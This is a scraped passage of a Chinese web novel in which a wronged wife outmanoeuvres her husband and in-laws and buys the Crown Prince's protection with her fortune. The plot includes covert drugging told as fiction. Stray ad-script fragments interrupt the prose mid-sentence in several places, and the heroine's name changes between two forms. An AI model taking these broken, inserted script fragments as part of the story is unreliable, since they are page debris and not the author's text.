谢纲骑马赶到,神色不愉地走了进去。 店里一名丫头主动迎上来:“大人需要什么首饰?” 谢纲冷冷道:“新进的玉簪。” 掌柜认得谢纲,知道来者不善,忙笑着迎上前:“原是谢大人来了,方才您家小厮已来过一趟,怎的还让谢大人再跑一趟?” “我不见簪子,自然是要来,我倒要看看,是哪个不长眼的不许我拿走簪子。” 掌柜的作揖,“谢大人,在商言商,您只要拿出银两,别说是一只玉簪,就是整间铺子,您都可随意拿走。” “银两?”谢纲拔高嗓门,喊得理直气壮,“怎么,我在自家的铺子拿东西,还需要银两了?” 街上人群纷纷围拢过来。 百姓们闲来无事,都爱看热闹。 看了热闹,晚间热炕头上就有得聊了。 掌柜的不慌不忙,“谢大人,这间铺子姓崔,不姓谢。” 谢纲当众被扫了颜面,呛声:“崔晚柠不是侯府夫人?她的铺子,不是我的铺子?” 掌柜的淡淡一笑:“谢大人,您就别让小的为难了。既然侯府夫人是这间铺子的主人,您找主人便是。” 谢纲气急败坏,“你什么意思,难不成崔晚柠让你管我要银子?” 掌柜的没答话。 谢纲望眼聚得越来越多的人群,实在是下不来台,恨恨道:“若我非要取走这簪子呢?” 掌柜的只好亮出底牌,“官府那边已经有人往这边来了。” 你非要拿簪子,就得走一趟官府。 谢纲气结。 他总不能为个玉簪被当众抓去官府。 那可就丢大人了。 他眼神一转,拉过一把椅子,坐在铺子中央,“好,好。”他指挥跟着来的小厮,“你回去,让夫人马上过来一趟。” 小厮听命而去。 他气势汹汹地坐着:“我等崔晚柠来。” 今天这面子,势必要找回来。 崔晚柠来了,看到他这副样子,一定会求情告饶。他会当众把首饰铺子的掌柜羞辱一番,赶走他。让百姓见识到他侯府家主的威风。 几个正挑选首饰的妇人,这会儿不挑了,站到一旁窃窃私语。 门口则聚着一大堆看热闹的百姓。 说什么的都有。 “还有这种道理?自家大人拿不走自家铺子里的东西?” “你是没听明白吗?这铺子姓崔不姓谢,应该是夫人的嫁妆。” “既然是嫁妆,自家大人应是可以来取用的吧?” “这个就得说道说道了。不是你的东西,你想拿,得征得主人的同意。和夫人关系好,自是可以拿。关系不好,那可就不好说喽。” “瞧掌柜这样子,不是掌柜不识理,是夫人下了命令吧。” “对,肯定是这样。” “看来,侯府家主和主母之间定是发生了什么。” 小厮骑马赶回府里。 一路狂奔。 跪到秋闲居门口:“夫人,谢大人让您赶紧走一趟首饰铺子。” 气定神闲的崔朝雪不慌不忙地问:“发生何事了?” 小厮:“谢大人要拿走玉簪,掌柜的不给,非得要见到银子才给。谢大人生气,想让夫人去解围。” 崔朝雪淡淡道:“回去禀报大人,我马上就到。” 小厮骑马返回首饰铺子。 听到崔朝雪的答复,谢纲甩给掌柜一个“你等着”的眼神,展开一柄扇子,悠然地扇起风来。 他扬眉吐气的时刻马上就会来。 崔晚柠定是诚惶诚恐地往这里赶。 到时,他不想拿这簪子都不行。 她一定会瞪着那双似小鹿一般的眼睛哀求他:“夫君,你就勉为其难收下吧,分文不取。我的东西也是夫君的,夫君想怎么样都可以。这掌柜的有眼不识泰山,打一顿赶走就是。” 在崔晚柠眼里,唯谢纲独尊。 掌柜由始至终都不急不躁。 他早得了信,知道夫人会如何做。 官府的赶到了,看到谢纲,客气地拱手:“小的见过谢大人。” 谢纲:“是下人不识理,害官人们跑一趟。” 掌柜的拱手作揖。 官兵既然来了,自然是要处理事情的,就问掌柜的:“倒底发生了何事?” 掌柜的一拱手:“实不相瞒,我家夫人说了,概不赊欠。谢大人想要那只六千两的玉簪,小的不敢作主,现下正等着夫人来做决断。” 官兵一听是家务事,不太高兴:“这……” 掌柜的赔笑:“事情不解决,我们不好做买卖。” 谢纲大喇喇地坐在屋子中央,周围还有这么多看热闹的百姓。 本来想买首饰的妇人也不买了,兴致勃勃地瞧个稀罕。 这生意怎么做? 官府的人也不爱在这种事情上耗时间,为首一个便走到谢纲跟前:“谢大人,您大人大量,不若先拿出银两将簪子拿走。之后跟夫人一起再来找算这个掌柜的不迟。” 你谢家还缺这六千两银子不成? 先用银子取走簪子,有何不可? 既然说是自家铺子,收了银子,不还是进了自家腰包? 谢纲还真拿不出六千两银子,要能拿出来,他也不至于娶谢晚柠这个商户女。 他不喜欢满身铜臭。 他喜欢的是卫婕楚那种有才情的女子。 谢纲板着脸,“我家夫人马上就到。” 无奈,大家陪他一起等。 一个时辰过去,不见崔朝雪的身影。 谢纲有些坐不住,唤来小厮,“再回去叫。” 小厮哒哒跑回去,再哒哒跑回来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回话照旧是:“夫人说马上。” 继续等。 又一个时辰过去。 那些想买首饰的妇人,家里不是为官就是经商,个个脑袋转得都挺快。 其中一个就小声说道:“所料不错的话,谢夫人今天不会过来。” 另一个问:“为何?” “打算来的话,就用不着吩咐掌柜的‘概不赊欠’这四个字了。你想想,自从这首饰铺子开张,谁到这里赊过账?” “还真是,咱们可都是现货两讫。” “所以啊,今天这事,是谢夫人有心为之,既然是有心为之,又怎么可能过来?” “要是打算过来,早就过来了,还用等两个时辰不见人影?传话的小厮可都跑了两趟了。” 谢纲彻底坐不住了。 他黑沉着一张:“我亲自回去叫。” 官府的人摇了摇头,“这个谢大人,为个簪子,何至于此。” 围观的百姓也咂摸出了点儿味道。 “不对啊,六千两的簪子能买给谁?若是买给谢夫人,不用如此吧?” “瞧这样子,也不像是要买给老夫人的。” “那种新样式,必得是年轻女子佩戴才行。” 有人惊奇地捂住嘴巴,“不会是买给其他女子吧?” 其他人恍悟,“还真有可能。” “你们说,这谢大人今日还会来吗?” “这个可说不定。来不来的,且看谢夫人吧。” 有的人耐不住等,摇头晃脑地散去。 有些人架不住好奇心,继续侯在门口。 就想着等个结果。 讲故事,讲到一半那可怎么行,必得有个结尾才让人舒心。 谢纲气冲冲赶到秋闲居,连门不敲,咣地踹开门。 崔朝雪正拿着一件衣服,低头往上绣花。 针线穿棱中,自有一副恬静雅致的模样。 谢纲强忍着一腔怒气,质问:“夫人,不是说马上去首饰铺子吗?为何在此绣花?” 崔朝雪抬头,笑容温婉,“去首饰铺子?”她轻拍了一下自己的脑袋,“瞧我,竟把这事给忘了。” 谢纲还挂着去收回脸面的事情,冷声道:“那现在收拾收拾,跟我一起去整治整治你那刁奴吧。” “夫君,我这几日不想出门,不用给我买簪子。我想要的话,自会叫人送来。”她举起自己手中的衣裳,“你瞧,我帮妹妹绣的花可好?” 这是不打算去了? 谢纲绷不住,怒声问道:“夫人这是何意?” 说好了去,又不去。 耍弄他? 崔朝雪表情无辜,“我能是何意?今日,母亲差我去买药,妹妹让我往衣裳上绣花,夫君让我去首饰铺子。我总得掂量着哪件重要做哪件。这侯府主母也不是那么好当的,你说是不是?” 崔朝雪以柔克刚,谢纲的怒气发泄到了棉花里,“你既不去,那差人去告诉掌柜的,我去铺子里拿任何东西都可以。” 崔朝雪看着谢纲,正色道:“我夫君是堂堂侯府世子,随意取用夫人嫁妆这种丢脸的事情,是绝不会做的。” 谢纲看着一本正经的崔朝雪,似是不认识她一般。 一向温顺听话的她,竟然,竟然会违逆他! 9. 第 9 章 谢纲好歹是领兵打仗的将军,虽官职仅到四品,说到底男儿的血性还是有的。 行事再无耻,脸面还是要顾忌一二的。 之前妻子对他言听计从,随意取用妻子嫁妆这件事情,他并不觉得有什么。 这还是头一次被摆到明面上。 他怒目而视,血往上涌。 双手紧握成拳。 一副准备出手的样子。 崔朝雪丝毫不惧,面色淡淡地抬头,与他对视。 她眼中没有柔弱,没有屈服,有的,只是坚韧。 终于,谢纲败下阵来。 “母亲说得对,你真是疯魔了。” 他甩袖而去。 崔朝雪颓然坐回椅子里。 攥紧的手心里全是汗。 差一点儿,谢纲就出手了。 竹雪和知晴忧色万分。 “夫人,您不是说一切慢慢来,这样直接顶撞谢大人,能行吗?” 崔朝雪身后并无倚仗,若是谢纲硬来,后果不堪设想。 “不还有凡七和凡九他们吗?”崔朝雪眼睛如冬日寒冰,“谢宛宛还想嫁入东宫,此事未成之前,他怕是会顾忌着些。” 不多时,有丫头来报。 “夫人,老夫人有请。” 崔朝雪用牙齿咬下线头,把新绣好的衣裳在膝上折叠好。 她绣功不如姐姐,但勉强可看。 祥瑞居。 崔朝雪拿着衣裳迈步进去,就见崔家三口正端坐屋内。一个个脸上都蒙着怒气。 老夫人率先发难:“崔氏,我的药买回来了吗?” 崔朝雪淡声回答:“没有。” 老夫人啪地一拍桌子,“没有?!你这一天都做什么了?惹怒夫君,不给婆母买药,这侯府夫人,你怕是不想当了吧?” “母亲,我今日并不是诸事未做,”她把手中的衣裳往前一递,“我帮宛宛绣好了衣裳。” 谢宛宛起身接过,翻来覆去瞧了一眼,微扬着下巴,“还行,不耽误我明日进宫穿着。” 老夫人并不买账,“绣件衣裳难道比给我买药还要重要?” “自然是的。”崔朝雪不慌不忙解释,“宛儿以后是要做太子妃的,她如果做了太子妃,谢家必会兴旺发达。所以,在儿媳看来,宛儿的事情大于天。” 这话听在谢宛宛耳朵里很是受用,她傲娇地抬起头:“嗯,这话说得没错。” 谢纲憋着一肚子怒气坐在那里,一言不发。 崔朝雪拿谢宛宛的事情说事,谢老夫人被堵得有气撒不出,她总不能说进宫这件事情不重要。 事实是这件事情非常重要。 一千件事一万件事都不如女儿当太子妃重要。 谢老夫人重重哼了一声,“娶平妻的事情,你考虑得如何了?” 她不能让崔朝雪太过嚣张,得拿娶平妻之事压一压她。 崔朝雪一字一句:“我不答应。” 谢纲眉头重重一跳。 谢老夫人难以相信,眼睛瞪得如鸡蛋大,“你说什么?” 她是要造反吗?竟然敢说出“不答应”三个字? 崔朝雪面无表情,“夫君若执意要娶卫婕楚为平妻,我愿与夫君和离。” 老夫人气得吹胡子瞪眼,“什么,和离?你想都不要想!你三年无所出,不能给谢府开枝散叶,还如此善妒,谢纲休妻天经地义。我是念在你操持谢府辛劳的份上,勉为其难让你继续做侯家主母,给你一份体面。你却不知感恩,执意如此。那就休怪我谢府无情了。” 老夫人威胁满满的话说出口,崔朝雪眼里没有生出一丝的慌乱。 “若是母亲和夫君决定了,那便写休书吧。”崔朝雪言辞淡淡,“我会带着休书去宫里一趟,让皇后娘娘与太子为我评评理,谢家做得倒底是对还是不对。” 她知道谢老夫人有多想让自己的女儿嫁入东宫,所以崔朝雪抓住这一点,抬出皇后与太子。 皇家最是重视体面。 若是谢府传出什么不好的事情,想必谢宛宛这个太子妃也当不成了。 谢纲横眉冷对:“你……” 崔朝雪冷眼瞧他,与早上的温柔婉约相比,简直像换了一个人。 谢宛宛一听会影响到自己的婚事,忙上前挽住谢老夫人的胳膊,“母亲,休妻之事不急在一时,再缓上一个月也是可以的。” 谢老夫人不情不愿,“那便依了宛儿。” 谢宛宛下巴微抬,“如此,嫂嫂明日便与我一同进宫吧。太子哥哥重伤未愈,听宫人说太子哥哥最近食欲不佳,皇上与皇后娘娘非常担心。” 她一个闺阁女子单独进宫探望太子,多有不妥。谢老夫人又不良于行,唯有崔朝雪可以同行。 崔朝雪咬定了这一点,才敢与谢纲硬碰硬。 崔朝雪应允。 转身离开时,脊背挺得直直的。 谢纲盯着她的背影,气得咬牙。 回秋闲居的路上,好巧不巧地遇到了卫婕楚。 月色朦胧,卫婕楚身上招摇的红衣,如嗜血一样的红。 崔朝雪侧头,给知晴一个眼神。 知晴晓悟,举高手中灯笼,凑近崔朝雪。 将她脖颈处的吻痕照得一清二楚。 卫婕楚眼尖,自然是看到了。 还未开口,心里的怒气便开始漫延开来。 她记起了谢纲满身的吻痕,不由得发出一声讥笑:“果然商户女就是上不得台面,净会使些下三滥的狐媚手段。” 崔朝雪往前一步,以便卫婕楚看得更清楚些。 纤细白腻的脖子上,几乎遍布着暗红色的吻痕。 可以想见床榻之上会有多激烈。 这样还不够,崔朝雪一撸袖子,故意亮给卫婕楚看,“你既是如此说,上不得台面的怕是谢纲吧?我不知他与你是怎么说的。反正昨夜,他与我小别胜新婚,缠磨了我一个晚上,我屡次说该歇了该歇了,他却总是不依,非要在我身上留下专属于他的印痕。你只看到了颈上、胳膊上。其实看不到的地方更多。” 眼见着卫婕楚火气冲天,崔朝雪继续拱火,“他在我身上留下印痕不算,非要我在他身上同样留下印痕。说这是专属于我二人的。” “你,你简直胡说八道。” “我胡不胡说,你扒开谢纲的衣裳一瞧便知。”她指指自己的嘴唇,“你可千万瞧仔细了,他身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上的印子是不是都是这个形状的。” 她往前一伸脖子,“你再细瞧瞧,我这上头的印痕,是不是跟谢纲的唇形一模一样?” 她退后一步,冷冷道:“我不知道谢纲在你面前胡说八道了什么,但印痕是骗不了人的。他说我生不出孩子,总要借你的腹部用一用。等用完了,甩不甩掉得看他的心情。” 说完这些,她也不管卫婕楚那脸色是不是涨成了猪肝色,只管加快脚步进了自己的院子。 气人,谁不会! 谅她眼睛再尖,还能看出真假不成? 秋闲居里,竹雪和知晴笑得前仰后合。 “你是没瞧见卫婕楚那眼神,想刀人了。” “她这会儿肯定去找谢大人算账了。” “凡七说了,为了达到气人的效果,他不光在谢大人背上、腿上咬了好多口,还忍着恶心,在男人那处附近都咬了,且咬得还比其他处重,能看出牙印来。由不得那卫婕楚不信。” 想想那画面,崔朝雪就觉得恶心,她摆摆手:“凡七还真是辛苦了。” 崔朝雪不欲与谢纲行那事,只能用迷香将其迷晕,然后让凡七撕了他的衣裳,在他身上留下印痕。谢纲毫无印象,自然说不清这些印痕是怎么来的。 可印痕确实是嘴唇的形状,卫婕楚眼不瞎,自然能看得出来。 不气疯才怪。 清霞居里,卫婕楚披头散发,逮着什么砸什么。 稀里咣当中,地上一片碎片。 触目惊心的。 匆匆赶来的谢纲头皮发麻,他小心踩过碎片。 “楚儿,不要生气。” 卫婕楚怒气冲天,仰着一张满是泪痕的脸,“我怎么能不生气?你昨晚与她整夜颠鸾倒凤便罢了,今日答应我的玉簪呢?” 她才不信他的鬼话,说什么不会主动与夫人行那事。在她看来,把人啃成了那样,不是不喜欢,是喜欢得紧。 说好了,无论如何把玉簪送来。 可她连簪子的影子也没看到。 “谢纲,”卫婕楚歇斯底里,“你骗我!” 谢纲今天在外头失了面子,回府又被崔朝雪挖苦,到了卫婕楚这里,还要承受她的怒火。 他心里隐隐有些不耐烦。 但想到她腹中的谢家子嗣。 他还是耐着性子劝她:“明日宛儿要进宫探望太子,母亲不便去,还得要崔晚柠出面。暂时让她得瑟几天。等宛儿和太子的婚事有眉目之后,我立即写休书,让她滚出谢府,再也不碍楚儿的眼。” “当真?” “当真。” 她现在心中生出了几分悔意,好好的人家不嫁,却信了他,清白身子给了他,无名无份熬了三年,好容易母凭子贵进了谢府。 却又是这副样子。 她除了信他,还能有什么法子? 总不能大着肚子回卫家吧? 那她真成了过街老鼠,人人喊打了! 她泪水涟涟地抚向自己的小腹,“你再不抓紧时间,我的肚子可就没办法遮掩了。” 谢纲眼里闪过一抹厉色,“楚儿放心,至多一个月。” 至多一个月,他非休了崔晚柠不可。 10. 第 10 章 傍晚,秦叔匆匆进了秋闲居。 崔朝雪迫不及待地问:“秦叔,事情打听得如何了?” 秦叔眼睛里闪着灼灼亮光。 “此次边关之战,是太子力谏的,荣贵妃父亲荣丞相曾极力劝阻,是太子在皇上面前信誓旦旦,此战梁将军必胜,皇上才同意。梁将军刚出征,太子殿下便受了重伤,颇为蹊跷。现在边关急报,急需粮草。可国库亏空,皇上忧心如焚,喝斥太子自己想办法解决。” “朝中人都在传,梁将军骁勇善战,只要粮草充足,必会如太子所说,边关大捷。太子正为此事忧心忡忡。” 秦叔精神振奋:“只要夫人雪中送炭,必会得到太子感激。” 崔家虽然只剩下了崔朝雪孤苦伶仃一人,但崔家的钱财并没有消失,都还在。 她一个人几辈子也花不完。 倒不如用在刀刃上。 崔家是商户之家,在朝中无任何根基。这也是谢纲为何会无所顾忌的原因。 崔朝雪要给自己找座靠山。 有所倚仗,这仇才能报得爽利舒畅。 清晨,崔朝雪和谢宛宛一起,乘坐马车,赶往皇宫。 老夫人再不待见她,也只能由她带着谢宛宛进宫。 谁让她是侯府主母呢! 侯老将军征战沙场,为谢家挣来的荣耀,到谢纲这一辈,已经没落了。皇后念着侯老将军曾经的劳苦功高,高看侯家几分罢了。 谢宛宛长相清丽,琴棋书画尚可。幼时跟着谢老将军见过太子几面,有次她被野狗吓得哭鼻子,太子递过来一块帕子。 太子沉稳儒雅,品貌非凡。她看呆了,忘了哭,也忘了接帕子。 太子收回帕子,转身走了。 可谢宛宛却把太子的样貌深深刻在了心里,朝思暮想。 离着皇宫越来越近,谢宛宛的心情变得越来越雀跃,话也变得多起来。 “太子殿下姿容秀丽,英姿勃发,跟梁大将军交手,都要得他一声称赞。”她面色泛红,眼睛里全是仰慕与喜欢,“他本是不受宠的皇子,但他刻苦努力,能文能武,十三岁时,他瞒着皇上偷偷上了战场,浴血杀敌,一战成名。皇上大加赞赏,封他为太子。” “他是智勇双全的好男儿!” 眼见着谢宛宛将太子夸上了天,崔朝雪但笑不语。 这些,她随父亲经商时听过一二。故事说起来,不过简短的几句话,但细细品味,她却能够体会太子的艰辛与不易。 若是娇养的皇子,怎么可能想到去战场杀敌立功?必是在吃人的皇宫里难以生存,才出此下策,以生命,以伤痕,去换取军功,换取皇上的注目。 太子这是成功了,若是不成功呢? 是不是就死在了敌人的刀剑下。 成为谁也不知的孤魂野鬼? 她认同谢宛宛最后那句话,能在尸横遍野、血流成河的战事中活下来,他一定是智勇双全的好男儿。 她愿意为寻取这样的靠山,赌一把。 马车在宫门口停下,两人步行往里走。 皇宫真大啊,雄伟绚丽,似迷宫一般。 皇后宫外,一个老嬷嬷拦住了去路。 “皇后身体乏了,你们且回去吧。” 看来皇后并不待见她们。 崔朝雪心中冷笑,谢老夫人怕是期望过高。这太子妃的人选,兴许皇后连想也不曾想过。 他们谢家是怎么敢肖想的? 老嬷嬷顿了下,“太子殿下在御花园。” 还是给指了条明路。 否则,饶是她们两个,也不一定能见到太子。 谢过嬷嬷,两人往御花园方向走。 谢宛宛心思雀跃,丝毫没有见不到皇后的失落感,满心满眼是要见到太子的欣喜与开怀。 刚步进御花园,谢宛宛便激动地指着湖边一道颀长的身影说道:“嫂嫂,是太子殿下。” “你跟太子殿下相熟吗?” “祖父在世时带我见过几次。三年前祖母带我进宫,也见过。” 崔朝雪无语。 只是见过几面的情谊? 许是听到声音,在两人离着几步远的时候,那抹身影蓦地回头。 淡然冷凝的面容直直闯入崔朝雪的眼中。 她心中立时翻起惊涛骇浪。 她腹中孩儿的父亲,竟然,竟然是当朝太子。 晴天霹雳砸下来,她整个人像被钉住了,呆立当场。 她呆愣之际,谢宛宛神色不悦地拽她的袖子,“嫂嫂,还不快快向太子殿下行礼。” 崔朝雪后知知觉,僵着身子,垂首跪下:“臣妇见过太子殿下。” 太子凝望两人,须臾,试探地问道:“谢宛宛?” 他竟记得自己的名字。 谢宛宛激动得语无伦次。 “殿下,是我,我是宛宛。” 太子轻轻“嗯”了声,“免礼。” 两人慢慢起身,谢宛宛双手绞在一起,又羞涩又兴奋,“殿下,你身子可好些了?胳膊的伤还疼吗?我听兄长说你胳膊伤得很重,一个多月了还没有痊愈。” 她奉上手中食盒,“这是我精心为殿下准备的,希望殿下早日康复。” 一旁的安公公躬身上前将食盒接下。 太子胥宸面色始终淡淡的,没有欣喜,也没有不耐烦。 送出食盒后,谢宛宛不知道说什么才好。 她无措地绞着手中的帕子,“殿下,殿下可有什么是宛儿能帮上忙的?宛儿一定尽力而为。” 胥宸淡淡道:“不用。天色不早,还是早些归家吧。” 谢宛宛瞧眼高高的日头,悄悄扁了扁嘴巴。 这才正午,离落日还早着呢。 可太子殿下让她走,她无话可说。 转身时,却见崔朝雪如一根木头般,神色呆呆地矗立那里。 她狠狠剜了崔朝雪一眼,低低地喊道:“嫂嫂。” 让她陪自己来,不是丢人现眼的。 崔朝雪如梦初醒,她深深地望了眼胥宸,唯一跟自己有过肌肤接触的男子。 机不可失,失不再来。 若是就这样离宫,此后怕是难能有机会再与他面对面了。 她一咬牙,轻轻地喊了声:“殿下!” 胥宸遥遥地望过来,眸色清冷,看不出情绪。 “殿下,”崔朝雪缓缓跪下,“臣妇可否单独与殿下说几句话?” 太子的贴身太监安成好奇地瞧了崔朝雪一眼。 一个普普通通的内宅妇人,有何话是要与殿下单独说的? 他不由得望向胥宸。 胥宸静静看着面前跪着的女子。 谢宛宛有点儿生气。 她私心里认为她这个嫂嫂是上不得台面的。 若不是万不得已,才不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会让她陪着自己进宫。 一听她要与太子单独说话,气得拿眼瞪她,小声斥道:“嫂嫂,这是宫里,不比侯府,不可以胡来。” 崔朝雪静静跪着。 秀气的背挺成一条直线。 单薄身子透着一股说不出的倔犟。 胥宸淡淡道:“可。” 殿下发话,其余人均离得远了些,谢宛宛纵有万般不愿,也还是被几个内侍推搡着退出去几丈远。 安成没走,他是贴身太监。 不能离太子左右。 等其他人走远了,胥宸蹙眉:“起来说话。” 崔朝雪没起,而是慢慢抬起头:“殿下,臣妾是侯府谢纲之妻,崔晚柠。臣妾听闻太子殿下最近有隐忧,斗胆请缨,望为殿下分忧。” 胥宸原本以为区区一个内宅妇人,说得无非是些婚姻嫁娶之类无关痛痒的东西,他本不打算听的,可看到她挺直的脊背,突然改了主意。 只是听一听罢了。 没想到,挺意外的。 他浓浓的眉峰挑起,“你要为孤解忧?” 崔朝雪静静看着他,“正是。” 她努力摒弃掉眼前人在床榻上的样子。 她有更重要的事情要办。 “崔家,”胥宸舌尖滚过这两个字,“崔家是商户吧?” 问完这句,他眼睛忽然跳了下。 似是发现了什么新奇的事物,定定地看向她。 崔朝雪态度不卑不亢,“是,臣妇听闻梁将军在边关急需粮草,”她淡淡说道,“一百万两,可不可以?” 胥宸瞳孔猛地睁大。 一百万两? 一百万两! 他怔然一瞬,眸色沉郁:“当真?” 崔朝雪掷地有声:“当真。若是一百万两不够,容臣妇时间准备,一个月后,臣妇可再奉上一百万两。只要殿下需要,只要臣妇有,臣妇自当尽心竭力。” 何需一百万两,此次三十万两便足矣。 这些银子,国库里不是没有,只是父皇被众臣裹挟,不方便拿出来。 因为三十万两后面,还需要跟几个三十万两。 仗不是一下打完的,只要战事继续,粮草必须源源不断地送往边关。 荣丞相是想给自己个教训。 有些话,是不能随意说的。 皇上可不只他一个皇子。七岁的胥轩是荣家的外孙,若是自己死了,胥轩将是继承大统的唯一人选。 梁将军此战,得赢,也必须赢。 可银子却成了最棘手的问题。 父皇让自己想办法。 自己可以找本朝的商户,临时凑出三十万两。 可下次的三十万两呢? 可他若是屈服于荣丞相一次,必会有下一次。 他这个太子当得也就太憋屈了。 父皇的江山也不会稳固,动辙受他们裹挟。 只有梁将军获胜,才能赢来转机。 眼前这个不起眼的女子,张口就要给一百万两,并且不只一次,只要他想,后续还可以再给一百万两。 所有问题迎刃而解! 他踱步来到崔朝雪面前,伸出双手,轻轻将她搀扶起来。 “你可知自己方才说得是什么?” 崔朝雪微微仰头,她盯着胥宸清新俊逸的面容,一字一顿道:“臣妇愿倾尽所有,为殿下所用!” 11. 第 11 章 一丝似有若无的栀子花香飘散在胥宸的周围。 他神色明显顿了下。 稍顷,他眼中恢复一派清明。 “谢夫人可有什么要求?” 他不信她无所求。 崔朝雪再次跪下,脑袋低低地垂着,“臣妇只求殿下一份庇护。” “让孤给你一份庇护?”一截白腻的颈子闯入胥宸的眼帘,他眸色沉了沉,“怎么,谢夫人是遇到难事了?” “三年前,臣妇信了谢纲之言,带着嫁妆嫁入候府。谢纲曾立下誓言,此生只臣妇一人,绝不纳妾。可与臣妇成婚时,他便在外养了外室。这还不算,三年来,他一直在悄悄给臣妇喝不孕的汤药,致使臣妇一直未能有孕。这些事,谢家人全部知情,独独瞒了臣妇。现在更是以臣妇三年无所出为由,逼臣妇同意他抬外室女为平妻。否则,便会休妻,好昧下臣妇的嫁妆。” “臣妇的父亲母亲已于上月过世。臣妇除了钱财之外,无依无靠。谢纲是四品将军,他要拿捏臣妇易如反掌。” 若她执意合离,他不愿,可以有一万条法子来为难自己。对外宣称自己疯了,将自己关在后院这种事情,他完全能做出来。 她需要一个强大的靠山,需要一个强过谢纲千倍万倍的人,庇护自己。 否则自己连命都保不住了,何谈报仇雪恨? 怕是像秦叔说得那样,白白搭上一条命! 钱乃身外之物,散尽还可复来。 可命只有一条,没了就真得没了。 胥宸静静打量跪着的崔朝雪。 上百万两银子只为换份庇护? 他冷冷发问:“为何是孤?” 她一个侯府主母找靠山,为何偏偏找上他? 似乎皇后才是最佳人选吧。 同为女人,行事也方便些。 崔朝雪保持跪姿,“殿下,臣妇不敢有半丝隐瞒。得知真相的那天,臣妇便打定主意要报复谢纲。可仅靠自己很难,急需要一份助力。臣妇以为,既然要找助力,就要找最合适的。臣妇听过殿下的事。您小小年纪就敢独闯军营,且立下赫赫战功。您卓而不凡,臣妇万分敬仰。若得殿下庇护,臣妇感激不尽。” 是人都喜欢被夸。 崔朝雪给胥宸戴了好大一顶高帽。 发自内心的。 “如此,孤便应了。” 崔朝雪不知自己是如何回到侯府的。她整个人浑浑噩噩的,谢宛宛在她对面念叨了什么,她一个字也没听进去。 只是默默攥紧了双手。 谢宛宛见状,气得不行,一回侯府就跑到祥瑞居告状。 “疯了疯了,嫂嫂真是疯了。” 正皱着眉头坐在轮椅里的老夫人闻言,眉头皱得更深,“怎么,她在宫里闯祸了?” “岂止是闯祸,我看她八成是真疯了。”谢宛宛气呼呼地坐下,“她在太子面前直勾勾盯着太子瞧,跟八辈子没见过人似的。还胆大包天地要跟太子殿下单独说话。太子看在我们侯府的面子上允了她。也不知道她跟太子都瞎说八道了些什么。” 老夫人立时怒了,“她竟跟太子单独说话?”她拍着轮椅扶手,一副恨铁不成钢的样子,“家门不幸啊,家门不幸!” 她气得双手直哆嗦,“快,快把那个疯子给我叫来,我倒要问问看,她倒底给咱们侯府惹了什么祸事。” 秋闲居。 崔朝雪坐在桌前发呆。 竹雪和知晴候在一旁,表情都有些好奇。 竹雪小声道:“夫人这是怎么了?从宫里回来就一直这样。” 知晴:“就跟,就跟丢了魂似的。” 崔朝雪摊开双手,湿漉漉的,全是汗。 她吩咐道:“把秦叔叫来。” 竹雪赶忙去叫。 秦叔急慌慌地赶了来。 竹雪和知晴退出去后,帮他们把门掩好。 秦叔瞧着崔朝雪的神色不太对,疑惑道:“事情进行得不顺利?” 崔朝雪眼睛没什么神采:“顺利,很顺利。我说完提供银两寻求一份庇护,太子马上就答应了。” 秦叔欲发不理解:“事情这么顺利,夫人为何这副表情?” 恍似遇到了什么解决不了的难题一样。 崔朝雪表情纠结,半晌才叹了口气:“秦叔,你知道太子是谁吗?” 太子还能是谁? 秦叔一脸的莫名其妙。 夫人这是,高兴得脑子都不转了? 崔朝雪继续往下说道:“太子不是旁人,正是我腹中孩儿的父亲。” “……” 惊雷滚滚,天塌地陷。 秦叔双腿一软,身体直接从椅子上滑落,“噗通”一声瘫坐地上。 他颤着声音追问:“太,子?” 秦叔之于崔朝雪,是像家人一样的存在。 此事不告诉任何人,但必须得告诉他。 至少他会帮她出谋划策。 崔朝雪表情平静地点了下头:“当我看清太子便是那人时,心里也是惊骇不已的,原以为事情已经结束,没想到这么快便遇上了。” 她道:“秦叔放心,太子殿下当时视物不清,我又刻意压低了嗓音,太子认不出我。只要我们不说,这事情就永远会是个秘密。不会有人知晓。” 她只是心境有些复杂罢了。 感叹人生无常,世事难料。 秦叔神色呆呆地,双眼空洞无神。 他怎么也想不通。 随随便便救下的男子,怎么会是太子? 怎么就是太子了??? 他回过头,不死心地再次求证:“夫人确定那人是太子殿下?” 崔朝雪没想到秦叔反应比自己还要大,“嗯,非常确定。太子的右胳膊还没完全康复。” 秦叔心有余悸,抬起袖子擦了擦额头上的冷汗,慢慢爬将起来。 他抖抖嗦嗦地坐到椅子上,两只手扒着桌沿,“恐怕有一件事,必得,必得叫夫人知晓。” 崔朝雪不明所以,杏眸淡淡扫过来:“秦叔但讲无妨。” 她现在有了太子的庇护,为复仇扫平了障碍。 好像没有什么好担心的。 秦叔张嘴,一个字没说,又缓缓闭上。 脑门子快蹙到一起了。 一副想说又难以启齿的样子。 崔朝雪愈发好奇:“秦叔,倒底怎么了?” 秦叔歪头,重重地叹了口气,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夫人,那日临走时,我给太子喝下的,”他一顿,吞吞吐吐地说道,“是,是绝嗣药!” “绝,”崔朝雪话都说不利索了,“绝,嗣,药?” 秦叔“啪”地打了自己一个嘴巴子,“夫人,千错万错都是我的错。” 崔朝雪表情震惊,“秦叔,你,你给太子喝下了绝嗣药?” “是,我当时为夫人考虑,以防将来出现什么同门兄弟姊妹的,不如给其喝下绝嗣药,以绝后患。”他懊恼地想捶死自己,“可我哪知道,他会是尊贵无比的太子殿下呢?” 若是知道他是太子,给他一百个胆子,他也不敢给太子下绝嗣药。 谋害皇嗣,那可是死罪。 他有几条命都不够赔的。 崔朝雪懵了。 她表情呆呆地看着秦叔。 脑子里反复“绝嗣药”三个字。 她费尽心机,不惜掏出上百万两银子才找来的靠山,结果是最大的隐患? 太子胥宸若是知道自己给他喝下了绝嗣药,会如何? 她手探向自己的脖子。 怕是,怕是保不住这颗项上人头了。 她一把抓住秦叔的胳膊,“那绝嗣药,可有解药?” 若是有解药,她可以寻个机会把解药给太子喝下,神不知鬼不觉地将隐患给排除掉。 